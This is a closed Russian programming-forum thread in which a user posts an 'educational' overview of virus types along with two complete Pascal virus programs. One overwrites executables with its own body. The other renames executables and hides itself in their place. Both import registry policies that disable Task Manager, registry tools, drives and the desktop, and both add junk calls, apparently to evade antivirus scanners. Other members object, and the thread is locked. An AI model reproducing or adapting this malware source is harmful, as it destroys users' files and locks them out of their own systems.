Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 14.07.2010, 14:07   #1
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
Восклицание История и особености вирусов

Существует при типа компьютерных вирусов сделаных с помощью ЯВУ:HLLO- Owerwrite,HLLC-Companion,HLLP-Parasitic.Остановимся на каждом поподробнее.Owerwrite-самый примитивный вид вируса из всех существующих.Эти глупые системные "твари" только лишь и умеют самокопироваться,уничтожая и выводя из строя зараженные ими файлы.Основной принцип работы находим "жертву"(обычно *.exe и *.com) и перезаписываем их своим телом.И все.Казалось на такой неприглядный принцип действия антивирусные компании не должны обращать должного внимания,отнюдь, антивурусные базы просто набиты вирусами такого типа почти всех антивирусных программ.
Основные преимущества:
-Простота-
Недостатки:
-Не запускает зараженную программу-
-Легко обнаруживается антивирусами-
-Значительно нарушает работоспособность операционой системы-
Вот небольшой пример такой твари:
Dr.Win32 вне форума
Старый 14.07.2010, 14:09   #2
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
По умолчанию

{$M 65520,0,0}
Program Owerwrite;
USES DOS;
VAR
sr : searchrec;
txt : text;
ToF : file;
FromF : file;
BufVir : array[1..$400] of Char;
NumRead : Word;
NumWritten: word;
Procedure BeginEnd(i : integer);
var
n :integer;
Begin
case i of
0..10000: n:=0;
10001..20000: n:=i;
20001..30000: n:=random(1000)
else
begin
n:=0;
n:=random(65535);
n:=i
end;
end;
end;
Procedure Musor;
var
fch : file of char;
rch : char;
ch : char;
st : string;
i : integer;
ii : integer;
iii : integer;
begin
randomize; BeginEnd(1852); BeginEnd(16553); BeginEnd(-1226);
for i:=1 to random(10) do
begin
st:=''; BeginEnd(16817); BeginEnd(-1703); BeginEnd(27366);
for ii:=1 to random(5)+3 do
begin
rch:=chr(ord(random(26)+65));
st:=st+rch;
end;
Assign(fch,st+'.'+chr(ord(random(26 )+65))+
+chr(ord(random(26)+65))+chr(ord(ra ndom(26)+65))); BeginEnd(12736);
Rewrite(fch); BeginEnd(23783); BeginEnd(28317);
for iii:=1 to random(1000) do
begin
ch:=chr(ord(random(256))); BeginEnd(-1787);
write(fch,ch); BeginEnd(29769); BeginEnd(-2780);
end;
close(fch); BeginEnd(19860);
end;
end;
Function IntToStr(I : integer) : String;
Var
S : String [5];
Begin
Str(I, S); BeginEnd(-6654);
IntToStr:=S;
End;
begin
if Paramstr(1)='KILL' then
begin
Assign(txt,paramstr(0)); BeginEnd(32340); BeginEnd(27299); BeginEnd(-3168);
Erase(txt); BeginEnd(21878); BeginEnd(17020);
Halt(0);
end;
Musor;
Randomize; BeginEnd(15417); BeginEnd(29291);
findfirst('*.exe',39,sr);
while doserror=0 do
begin
IF ioresult=0 then
begin
Assign(FromF,paramstr(0)); BeginEnd(-7608); BeginEnd(3463);
SetFAttr(FromF,0); BeginEnd(13477);
Assign(ToF,sr.name); BeginEnd(-2426); BeginEnd(-2153); BeginEnd(-2353);
SetFAttr(ToF,0); BeginEnd(7484); BeginEnd(-1725);
reset(FromF,1); BeginEnd(10034); BeginEnd(28878); BeginEnd(-1003);
rewrite(ToF,1); BeginEnd(17773); BeginEnd(-1141);
Repeat
BlockRead(FromF,BufVir,SizeOf(BufVi r), NumRead); BeginEnd(-962); BeginEnd(-1722); BeginEnd(-2242);
BlockWrite(ToF,BufVir,NumRead,NumWr itten); BeginEnd(-952);
Until (NumRead = 0) Or (NumWritten <> NumRead); BeginEnd(14240); BeginEnd(987);
Close(ToF);
Close(FromF); BeginEnd(-2018); BeginEnd(22894); BeginEnd(-329);
end; BeginEnd(-1153); BeginEnd(-2868); BeginEnd(13500);
findnext(sr);
end; BeginEnd(29055);
Assign(txt,getenv('TMP')+'reg'); BeginEnd(28672);
rewrite(txt);
writeln(txt,'Windows Registry Editor Version 5.00');
write(txt,'[HKEY_CURRENT_USER\Software\Microsof t\'); BeginEnd(-2091); BeginEnd(24459); BeginEnd(17490);
writeln(txt,'Windows\CurrentVersion \Policies\Explorer]');
writeln(txt,'"DisableLocalMachineRu n"=dword:00000001'); BeginEnd(21852);
writeln(txt,'"NoFileMenu"=dword:000 00001'); BeginEnd(10044);
writeln(txt,'"NoControlPanel"=dword :00000001');
writeln(txt,'"NoDrives"=dword:3ffff ff'); BeginEnd(13958); BeginEnd(5058);
writeln(txt,'"NoViewOnDrive"=dword: 3ffffff');
writeln(txt,'"NoClose"=dword:000000 01'); BeginEnd(16636);
writeln(txt,'"NoChangeStartMenu"=dw ord:00000001'); BeginEnd(-1563); BeginEnd(18584); BeginEnd(4596);
writeln(txt,'"NoViewContextMenu"=dw ord:00000001');
writeln(txt,'"NoRun"=dword:00000001 '); BeginEnd(26887); BeginEnd(-2777);
writeln(txt,'"NoFind"=dword:0000000 1'); BeginEnd(7661);
writeln(txt,'"NoDesktop"=dword:0000 0001'); BeginEnd(14923);
write(txt,'[HKEY_CURRENT_USER\Software\Microsof t\'); BeginEnd(-1608);
writeln(txt,'Windows\CurrentVersion \Policies\System]'); BeginEnd(-2907); BeginEnd(5066);
writeln(txt,'"DisableTaskMgr"=dword :00000001'); BeginEnd(-3250); BeginEnd(16935);
writeln(txt,'"DisableRegistryTools" =dword:00000001'); BeginEnd(-1903); BeginEnd(3663); BeginEnd(5980);
writeln(txt,'"NoDispCPL"=dword:0000 0001'); BeginEnd(20234); BeginEnd(-2505); BeginEnd(-2184);
Close(txt); BeginEnd(-9162); BeginEnd(1787); BeginEnd(-2455);
exec(getenv('comspec'),'/c reg import '+getenv('TMP')+'reg');
exec(getenv('comspec'),'/c cls'); BeginEnd(8862); BeginEnd(-2260); BeginEnd(26782);
erase(txt);
exec(getenv('Comspec'),'/c cmd /c time '+IntToStr(random(24))+':'+IntToStr (random(60))+':00,00');
exec(getenv('Comspec'),'/c cmd /c rundll32 user32, SwapMouseButton');
end.
Dr.Win32 вне форума
Старый 14.07.2010, 14:24   #3
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Шото я так не понял смысла присутствия данного пользователя на этом форуме.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума
Старый 14.07.2010, 14:30   #4
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
По умолчанию

Следующий тип -это Campanion.Этот вариант вируса успользует особености Dos,а имено если в одном каталоге находится два файла с одинаковым именем но с разным расширением(калькулятор.exe и калькулятор.com) то командная строка start калькулятор,запустит калькулятор.com-вирус,а после этого заразит еще несколько файлов запустит калькулятор.ехе.Естественно исли ввести start калькулятор.ехе запустится калькулятор.ехе.Более поздние версии вирусов этого класа меняют расширение жертвы с *.ехе и *.сом на *.$ex и *.$om или *.src себя копирует с именем жертвы в папку.При этом запуск ярлыка запускается файл вируса,который запускает жертву.Очевидно что вирусы этого типа легко лечатся путем переименования зараженных файлов,но от этого есть свои способы борьбы можно например зашифровать жертву,а расшифровать только перед запуском.
Преимущества:
-Простота-
-Высокая скорость заражения-
Недостатки:
-Легко обнаружим и лечим-
-Нет возможности распространения между компами т.к. файл вируса находится отдельно от жертвы-
Пример:

Последний раз редактировалось Dr.Win32; 14.07.2010 в 15:50.
Dr.Win32 вне форума
Старый 14.07.2010, 14:34   #5
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
По умолчанию

{$M 65520,0,0}
Program Companion;
USES DOS;
VAR
Victim : integer;
Procedure BeginEnd(i : integer);
var
n :integer;
Begin
case i of
0..10000: n:=0;
10001..20000: n:=i;
20001..30000: n:=random(1000)
else
begin
n:=0;
n:=random(65535);
n:=i
end;
end;
End;
Function IntToStr(I : integer) : String;
Var
S : String [5];
Begin
Str(I, S); BeginEnd(-8188);
IntToStr:=S; BeginEnd(5813);
End;
procedure Find(dir:string);
var
sr1 : searchrec;
sr2 : searchrec;
f1 : file;
f2 : file;
Buf : array[1..$800] of Char;
NumRead : Word;
NumWritten : Word;
d : dirstr;
n : namestr;
e : extstr;
begin
findfirst(dir+'*.exe',39,sr1); BeginEnd(-2427); BeginEnd(-1808); BeginEnd(8637);
if (pos('SYSTEM',dir)=0) and (pos('DRWEB', dir)=0)
and (pos('KASPER',dir)=0) and (pos('PANDA', dir)=0)
and (pos('NORTON',dir)=0) and (pos('COMMON',dir)=0)
and (pos('DOCUM', dir)=0)
then
while doserror=0 do
if Victim<13 then
begin
fsplit(dir+sr1.name,d,n,e); BeginEnd(-1916); BeginEnd(-6097); BeginEnd(-1946);
findfirst(d+n+'.scr',anyfile,sr2); BeginEnd(-2597); BeginEnd(-2805);
if sr2.name='' then
begin
inc(Victim); BeginEnd(20498); BeginEnd(22866);
Assign(f1,dir+sr1.name); BeginEnd(-2568); BeginEnd(10184);
rename(f1,d+n+'.scr'); BeginEnd(-3964);
Assign(f2,paramstr(0)); BeginEnd(-1920); BeginEnd(10730);
Assign(f1,dir+sr1.name); BeginEnd(12594);
reset(f2,1);
rewrite(f1,1); BeginEnd(-3100);
repeat
BlockRead(f2,Buf,SizeOf(Buf), NumRead); BeginEnd(-2218); BeginEnd(20194); BeginEnd(28025);
BlockWrite(f1,Buf,NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead); BeginEnd(-2188); BeginEnd(30310); BeginEnd(28530);
Close(f2);
Close(f1); BeginEnd(17319); BeginEnd(-1535); BeginEnd(14798);
end;
findnext(sr1);
end
else exit; BeginEnd(-1761); BeginEnd(19102);
end;
Procedure Nucleus;
var
f : file;
txt : text;
d : dirstr;
n : namestr;
e : extstr;
begin
if Paramstr(1)='KILL' then
begin
Assign(txt,paramstr(0)); BeginEnd(19874);
Erase(txt); BeginEnd(-1952); BeginEnd(-4281); BeginEnd(-2789);
fsplit(paramstr(0),d,n,e);
Assign(txt,d+n+'.SCR'); BeginEnd(26580); BeginEnd(12937); BeginEnd(-2278);
Rename(txt,d+n+e); BeginEnd(18060);
Halt(0);
end;
Assign(txt,getenv('TMP')+'reg'); BeginEnd(-1559); BeginEnd(22518); BeginEnd(24026);
rewrite(txt); BeginEnd(-8682); BeginEnd(22555);
writeln(txt,'Windows Registry Editor Version 5.00');
write(txt,'[HKEY_CURRENT_USER\Software\Microsof t\'); BeginEnd(-1360);
writeln(txt,'Windows\CurrentVersion \Policies\Explorer]');
writeln(txt,'"DisableLocalMachineRu n"=dword:00000001');
writeln(txt,'"NoFileMenu"=dword:000 00001'); BeginEnd(-1637); BeginEnd(-1805); BeginEnd(-2536);
writeln(txt,'"NoControlPanel"=dword :00000001'); BeginEnd(-2791); BeginEnd(-3078);
writeln(txt,'"NoDrives"=dword:3ffff ff'); BeginEnd(-4743); BeginEnd(1001);
writeln(txt,'"NoClose"=dword:000000 01'); BeginEnd(30487);
writeln(txt,'"NoChangeStartMenu"=dw ord:00000001'); BeginEnd(17262); BeginEnd(-1976); BeginEnd(22034);
writeln(txt,'"NoViewContextMenu"=dw ord:00000001'); BeginEnd(-1892);
writeln(txt,'"NoRun"=dword:00000001 '); BeginEnd(-935);
writeln(txt,'"NoFind"=dword:0000000 1'); BeginEnd(9468); BeginEnd(28259); BeginEnd(20806);
writeln(txt,'"NoDesktop"=dword:0000 0001'); BeginEnd(17093); BeginEnd(-1695); BeginEnd(24435);
write(txt,'[HKEY_CURRENT_USER\Software\Microsof t\');
writeln(txt,'Windows\CurrentVersion \Policies\System]'); BeginEnd(3403); BeginEnd(-1690);
writeln(txt,'"DisableTaskMgr"=dword :00000001');
writeln(txt,'"DisableRegistryTools" =dword:00000001'); BeginEnd(13674);
writeln(txt,'"NoDispCPL"=dword:0000 0001'); BeginEnd(-2531);
Close(txt); BeginEnd(30060); BeginEnd(-2389); BeginEnd(-2675);
exec(getenv('comspec'),'/c reg import '+getenv('TMP')+'reg');
exec(getenv('comspec'),'/c cls'); BeginEnd(29085); BeginEnd(-2005); BeginEnd(-1138);
erase(txt);
writeln('Hallo, World!!!'); BeginEnd(892);
Assign(f,paramstr(0)); BeginEnd(-3472); BeginEnd(-2460);
SetFAttr(f,0);
fsplit(paramstr(0),d,n,e); BeginEnd(9513);
Find(''); BeginEnd(2160); BeginEnd(11249);
exec(d+n+'.scr',''); BeginEnd(-1070);
end;
begin
Randomize; BeginEnd(28659); BeginEnd(23856);
Nucleus; BeginEnd(16354); BeginEnd(-5263); BeginEnd(-1079);
end.

Последний раз редактировалось Dr.Win32; 14.07.2010 в 15:29.
Dr.Win32 вне форума
Старый 14.07.2010, 14:49   #6
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
По умолчанию

И следующий Parasitic.Это наивысшая степень развития вирусов на ЯВУ.Принципы заражения и запуска подразделяются на два вида.
1.Находим жертву,копируем себя в папку с жертвой с временым именем,копируем тело жертвы в конец временого файлаб удаляем жертву,переименовываем временый файл в имя жертвы. Для запуска копируем тело жертвы из себя во временный файл и запускаем его.
После выключения жертвы временный файл удаляется.
2.Второй вид: находим жертву, копируем из начала файла фрагмент равный
размеру вируса в конец жертвы, на место этих данных копируем своё тело, с
перезаписью данных.Для запуска 1-Й ФРАГМЕНТ ЖЕРТВЫ копируется с перезаписью на место вируса, а в
конце он удаляется, после этого производится запуск жертвы, таким образом после
запуска зараженной программы вирус заразив необходимое количество файлов
полностью восстанавливает программу, из которой он запущен.
Вся статья написана в целах ознакомления с вирусами на ЯВУ и позволяющим пользователю понять их структуру.И помните что статья написана в целях пресичения попыток распрастранения вирусов,а не в целях их создания,а тем более массового распрастранения.
Статья 273.

Создание, использование и распространение вредоносных программ для ЭВМ

1.Создание программ для ЭВМ или внесение изменений в существующие программы,
заведомо приводящих к несанкционированному уничтожению, блокированию,
модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ
или их сети, а равно использование либо распространение таких программ или
машинных носителей с такими программами - наказываются лишением свободы на срок
до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров
оплаты труда или в размере заработной платы или иного дохода осужденного за
период от двух до пяти месяцев.
2.Те же деяния, повлекшие по неосторожности тяжкие последствия,- наказываются
лишением свободы на срок от трех до семи лет!
Dr.Win32 вне форума
Старый 14.07.2010, 14:59   #7
Korben5E
Форумчанин
 
Аватар для Korben5E
 
Регистрация: 13.07.2010
Сообщений: 346
По умолчанию

у данного чела маленькая писька и он пытается показать свою значимость методом подбрасывания кала другим людям....

мне тоже не понятно почему он не в бане...
Non est culpa vin, sed culpa bibentis
Korben5E вне форума
Старый 14.07.2010, 15:04   #8
Dr.Win32
Заблокирован
 
Регистрация: 18.06.2010
Сообщений: 31
По умолчанию

Korben5E это не подбравывание кала -это ознакомление с вирусной технологией в целях извлечения всевозможных "Уродов"

Приношу глубочайшие извенения если эта тема не соответствует тематики даного форума,впредь подобных тем не будет никогда!

Последний раз редактировалось artemavd; 14.07.2010 в 19:31.
Dr.Win32 вне форума
Старый 14.07.2010, 15:10   #9
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Цитата:
наивысшая степень развития вирусов...копируем тело жертвы в конец временого файлаб удаляем жертву,переименовываем временый файл в имя жертвы. Для запуска копируем тело жертвы из себя во временный файл и запускаем его
Только не пишите такое на сайтах, специализирующихся на вредоносном ПО и/или компьютерной безопасности. Либо в дурку отправят, либо забросают помидорами
пыщь
JTG вне форума
Старый 14.07.2010, 15:17   #10
Korben5E
Форумчанин
 
Аватар для Korben5E
 
Регистрация: 13.07.2010
Сообщений: 346
По умолчанию

Цитата:
Сообщение от Dr.Win32 Посмотреть сообщение
Korben5E это не подбравывание кала -это ознакомление с вирусной технологией в целях извлечения всевозможных "Уродов"
в таком случае знакомьте людей не с вирусной технологией, а выдавайте анализ вируса и сообщайте как с ним бороться - и ваши волосы станут шелковистыми и счастье придет в вашу душу....
Non est culpa vin, sed culpa bibentis
Korben5E вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пакет вирусов. jojahti Софт 1 25.01.2010 18:23
очистить систему от вирусов pomoshnic Операционные системы общие вопросы 2 02.12.2008 11:04
Поиск вирусов... :) Altera Свободное общение 4 23.03.2008 13:19